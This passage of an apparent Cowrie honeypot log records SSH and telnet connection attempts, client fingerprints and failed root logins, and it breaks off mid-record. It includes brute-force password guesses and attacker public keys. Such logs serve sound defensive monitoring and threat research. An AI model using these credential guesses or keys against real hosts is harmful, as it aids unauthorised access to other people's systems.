{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:27.573181Z","src_ip":"185.92.182.129","session":"8ccfb25c7788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wj123456","message":"login attempt [root/Wj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:27.735185Z","src_ip":"185.92.182.129","session":"8ccfb25c7788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:28.773149Z","src_ip":"185.92.182.129","session":"8ccfb25c7788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.151.214.29","src_port":4509,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e8307f135b","protocol":"telnet","message":"New connection: 59.151.214.29:4509 (10.17.0.5:23) [session: a8e8307f135b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:29.288867Z"}
{"eventid":"cowrie.session.closed","duration":38.15041255950928,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:30.573690Z","src_ip":"192.119.13.58","session":"b97e528aed9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42168,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdd73242bfd","protocol":"ssh","message":"New connection: 194.59.206.2:42168 (10.17.0.5:22) [session: afdd73242bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:31.091225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:31.097060Z","src_ip":"194.59.206.2","session":"afdd73242bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:31.187360Z","src_ip":"194.59.206.2","session":"afdd73242bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:31.288534Z","src_ip":"194.59.206.2","session":"afdd73242bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":45376,"dst_ip":"10.17.0.5","dst_port":22,"session":"afbf3a65baab","protocol":"ssh","message":"New connection: 172.110.219.251:45376 (10.17.0.5:22) [session: afbf3a65baab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.125390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.130440Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.241395Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:4e:41:d4:7d:23:59:67:00:1c:2d:c4:9f:24:1c:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/NVk+h2CmmLVEQe0Y2WZwVeiy50g6Ih5khCfM4Y7jbPZU0qsj+IraK8Wsmu/pnyMNbdt1n9ZlNgLpvqsKKlrIhQT2a9pIx24jckoKlQ+pkdpANWIH1OT+OQDBUF4JQ0sChlpKaiqa1HNVp4PzIMbIBVpzuMZwn3OkSkXFRtcJy4FReZrhGoceOZgYSOKlP+yBGbTLpXblmaaxym/JvT3+CdgiPDy1B/YRLhMEautQwf3b7fvFiVPxQ6/grGrgr6Uqir78losUxYRkNVXnyKNY4dpdrboxK701cYTN9PEJIVciKmN//7ZTz1SSZvmKTmY2U7uUuI5HagDbe71uLh/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:4e:41:d4:7d:23:59:67:00:1c:2d:c4:9f:24:1c:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.765619Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:4e:41:d4:7d:23:59:67:00:1c:2d:c4:9f:24:1c:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/NVk+h2CmmLVEQe0Y2WZwVeiy50g6Ih5khCfM4Y7jbPZU0qsj+IraK8Wsmu/pnyMNbdt1n9ZlNgLpvqsKKlrIhQT2a9pIx24jckoKlQ+pkdpANWIH1OT+OQDBUF4JQ0sChlpKaiqa1HNVp4PzIMbIBVpzuMZwn3OkSkXFRtcJy4FReZrhGoceOZgYSOKlP+yBGbTLpXblmaaxym/JvT3+CdgiPDy1B/YRLhMEautQwf3b7fvFiVPxQ6/grGrgr6Uqir78losUxYRkNVXnyKNY4dpdrboxK701cYTN9PEJIVciKmN//7ZTz1SSZvmKTmY2U7uUuI5HagDbe71uLh/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.769718Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:5a:a0:84:6a:19:57:33:a2:6e:67:52:70:e8:3a:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA7kkFztqPub+UqhlsgSB+jn1B7yeT+ntPKQ8JkRRxwWDCcT/pV/8Oavle8UPV/WF/gUAtEkGOxTs8uLz7a2AXjVFFDAsag7pC0K1uvYSLyOEaUXGqzBrBRw0YAcl8dl0NPOlxKROUZbmg+6JklPjQYCiyhF2P4d/5WMLPCHvc2w2z0sq5eHaJFwQUFN0y1j8f4tS1+qDU/riT+2ESxAxDkPxTy4Ykju2N6EyMCV6+O7YdKTj1ClJzdLqVJ6ulDniIXlnD4X17ZOvZxVi3SfPb4Tq7dR1+2ku1sByjG6wjaxQyHAHOyA1BB4JcKFJyWTy9DeJaoBlaSbGo/DsQJO2b5mxzH4Vfh0ammW6bDOVeW1z2q11BlY3kkZgBla30A54OQLs2OWm3xMpmc/1zt3Keqay4WnXtmVX6+smrniIo2e04sWrP2dH/UJGwiC2AvD7asDH6PwIX4kHdDq9ueY+Xw5WDELm+iVW/PoPl7SoLItsyMsIC9ZyZqPXj1JSaQPsYUILAN8auKnwk4ppsH11ZvWsEJKZCyQbBJb62B5r6ngjy8GYKxXFjMzIP/StHD1N46ssUlx8xM9LB+cyYcZTpDFR+puyeUIjbbkJjVgjP4GcS8wkMnETCXXWXhvGJI4CX1EIVs/tAwtdpYsu6p4SWKnqw2sGh6oufGXo+Z9BEUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:5a:a0:84:6a:19:57:33:a2:6e:67:52:70:e8:3a:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.879488Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:5a:a0:84:6a:19:57:33:a2:6e:67:52:70:e8:3a:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA7kkFztqPub+UqhlsgSB+jn1B7yeT+ntPKQ8JkRRxwWDCcT/pV/8Oavle8UPV/WF/gUAtEkGOxTs8uLz7a2AXjVFFDAsag7pC0K1uvYSLyOEaUXGqzBrBRw0YAcl8dl0NPOlxKROUZbmg+6JklPjQYCiyhF2P4d/5WMLPCHvc2w2z0sq5eHaJFwQUFN0y1j8f4tS1+qDU/riT+2ESxAxDkPxTy4Ykju2N6EyMCV6+O7YdKTj1ClJzdLqVJ6ulDniIXlnD4X17ZOvZxVi3SfPb4Tq7dR1+2ku1sByjG6wjaxQyHAHOyA1BB4JcKFJyWTy9DeJaoBlaSbGo/DsQJO2b5mxzH4Vfh0ammW6bDOVeW1z2q11BlY3kkZgBla30A54OQLs2OWm3xMpmc/1zt3Keqay4WnXtmVX6+smrniIo2e04sWrP2dH/UJGwiC2AvD7asDH6PwIX4kHdDq9ueY+Xw5WDELm+iVW/PoPl7SoLItsyMsIC9ZyZqPXj1JSaQPsYUILAN8auKnwk4ppsH11ZvWsEJKZCyQbBJb62B5r6ngjy8GYKxXFjMzIP/StHD1N46ssUlx8xM9LB+cyYcZTpDFR+puyeUIjbbkJjVgjP4GcS8wkMnETCXXWXhvGJI4CX1EIVs/tAwtdpYsu6p4SWKnqw2sGh6oufGXo+Z9BEUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.883106Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:ff:95:ac:cc:6e:6f:e8:8f:0e:9c:fb:ab:f1:e4:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO2HXS5ArxDNcrYsPy6b08nhe7OruFfe2OEZCwptX4JL4eLdQtG2zqJzXaKn3GeTu6YBfbic3U/ER5QNvcZ4xyTQ4zKK2TXplFkSptgaTrs70wbWgpuaj7jE4FoI4jHf3tT05/Zv8fTIhgFuaQxU6ABFjQRcf7L1OqLyCzzP2Q7M6OVPp2OIkPpiftEx7M22lz+YSvTjZlWrCoNnzdd++WKYPbecHS5fClBxumKWEIh7XPVmkUu+Lc7daA3Htvne+vZVAk69zliF5mbVex/Jbfml8qbi0COQ7JvaNGhIBl7Tt6wWNydGOjxfZKKdea8PSYQVQnq2mx4zhpB91EVpv/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:ff:95:ac:cc:6e:6f:e8:8f:0e:9c:fb:ab:f1:e4:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.992946Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:ff:95:ac:cc:6e:6f:e8:8f:0e:9c:fb:ab:f1:e4:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO2HXS5ArxDNcrYsPy6b08nhe7OruFfe2OEZCwptX4JL4eLdQtG2zqJzXaKn3GeTu6YBfbic3U/ER5QNvcZ4xyTQ4zKK2TXplFkSptgaTrs70wbWgpuaj7jE4FoI4jHf3tT05/Zv8fTIhgFuaQxU6ABFjQRcf7L1OqLyCzzP2Q7M6OVPp2OIkPpiftEx7M22lz+YSvTjZlWrCoNnzdd++WKYPbecHS5fClBxumKWEIh7XPVmkUu+Lc7daA3Htvne+vZVAk69zliF5mbVex/Jbfml8qbi0COQ7JvaNGhIBl7Tt6wWNydGOjxfZKKdea8PSYQVQnq2mx4zhpB91EVpv/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:32.997299Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":58750,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b8f56ed4af0","protocol":"ssh","message":"New connection: 49.51.202.114:58750 (159.203.135.109:22) [session: 8b8f56ed4af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.013887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.018286Z","src_ip":"49.51.202.114","session":"8b8f56ed4af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.088788Z","src_ip":"49.51.202.114","session":"8b8f56ed4af0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:38:4f:79:e5:8b:db:59:aa:51:67:6a:72:56:49:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoPVQl/juixCAvzj/BnT1cuLNFzsRC6jOWcNFU4QZWPRZqo3zjn+WveJlWtHrKY02aeNjTBTV3nugg+wqcMSeQWCemweXwZC7mvcyiyU0vHFezbCVY8nQpaC37IAeLn+w3hVDtSt2/uB24eo6qXr9VwdCTEDjePWi70MekQ+yHLmmTeuHJavmU2TpUcbI0YeRlcf/UQXtCY9lWQ2pcbN8gPGqwCLbVIKKs8kVnW3OhsyCLup/9O6UPswr16zuU6jj1MkPb0XXF2VvGgSkonAqMaf9TDMLtuCXDRug+onuVemNQZY3WnTTylIsAzu/RjhaTG9J3cECuzWeLkFig5qU5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:38:4f:79:e5:8b:db:59:aa:51:67:6a:72:56:49:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.109334Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:38:4f:79:e5:8b:db:59:aa:51:67:6a:72:56:49:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoPVQl/juixCAvzj/BnT1cuLNFzsRC6jOWcNFU4QZWPRZqo3zjn+WveJlWtHrKY02aeNjTBTV3nugg+wqcMSeQWCemweXwZC7mvcyiyU0vHFezbCVY8nQpaC37IAeLn+w3hVDtSt2/uB24eo6qXr9VwdCTEDjePWi70MekQ+yHLmmTeuHJavmU2TpUcbI0YeRlcf/UQXtCY9lWQ2pcbN8gPGqwCLbVIKKs8kVnW3OhsyCLup/9O6UPswr16zuU6jj1MkPb0XXF2VvGgSkonAqMaf9TDMLtuCXDRug+onuVemNQZY3WnTTylIsAzu/RjhaTG9J3cECuzWeLkFig5qU5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.113270Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIeg0kmkjagcEZ60SWuUjeYJzrrvGYu4V467vv3OCuT84JuD1wwH4CCOxFFh7EK93oLvoI3y52DnYh5nzdDTGrzKhQYK6ZZC4WXhNS6GW0anKcW4H+nfqUu9PsNjQfGPwG9XTZ3Wh7eu7YWlwa/t8zI5MD8/PS+XAZhsguD/eld1ySqo8rcP+N9eFMCG1SQr2Zdh1vht9XpT9nODGwV2ps7N/qY2kRSqOtj16t6Jc32kK9o8/R2o0vFsuGvQNLht5qipAVVJ1sog0sBGJ7ngtLrKYlz+EJoJBMjQo3q6uqu+eRNJify0DI1fflefI8/w78vMZsWPcjEqg//CLgs/cD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.223310Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:68:a3:59:f0:be:f8:55:c8:0e:bb:2a:2e:48:45:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIeg0kmkjagcEZ60SWuUjeYJzrrvGYu4V467vv3OCuT84JuD1wwH4CCOxFFh7EK93oLvoI3y52DnYh5nzdDTGrzKhQYK6ZZC4WXhNS6GW0anKcW4H+nfqUu9PsNjQfGPwG9XTZ3Wh7eu7YWlwa/t8zI5MD8/PS+XAZhsguD/eld1ySqo8rcP+N9eFMCG1SQr2Zdh1vht9XpT9nODGwV2ps7N/qY2kRSqOtj16t6Jc32kK9o8/R2o0vFsuGvQNLht5qipAVVJ1sog0sBGJ7ngtLrKYlz+EJoJBMjQo3q6uqu+eRNJify0DI1fflefI8/w78vMZsWPcjEqg//CLgs/cD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.226896Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.337529Z","src_ip":"172.110.219.251","session":"afbf3a65baab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Salam@123","message":"login attempt [root/Salam@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:33.391000Z","src_ip":"49.51.202.114","session":"8b8f56ed4af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:34.463500Z","src_ip":"49.51.202.114","session":"8b8f56ed4af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":57642,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0d5074457e","protocol":"ssh","message":"New connection: 102.223.92.101:57642 (159.203.135.109:22) [session: 4d0d5074457e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:35.047414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:35.053690Z","src_ip":"102.223.92.101","session":"4d0d5074457e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 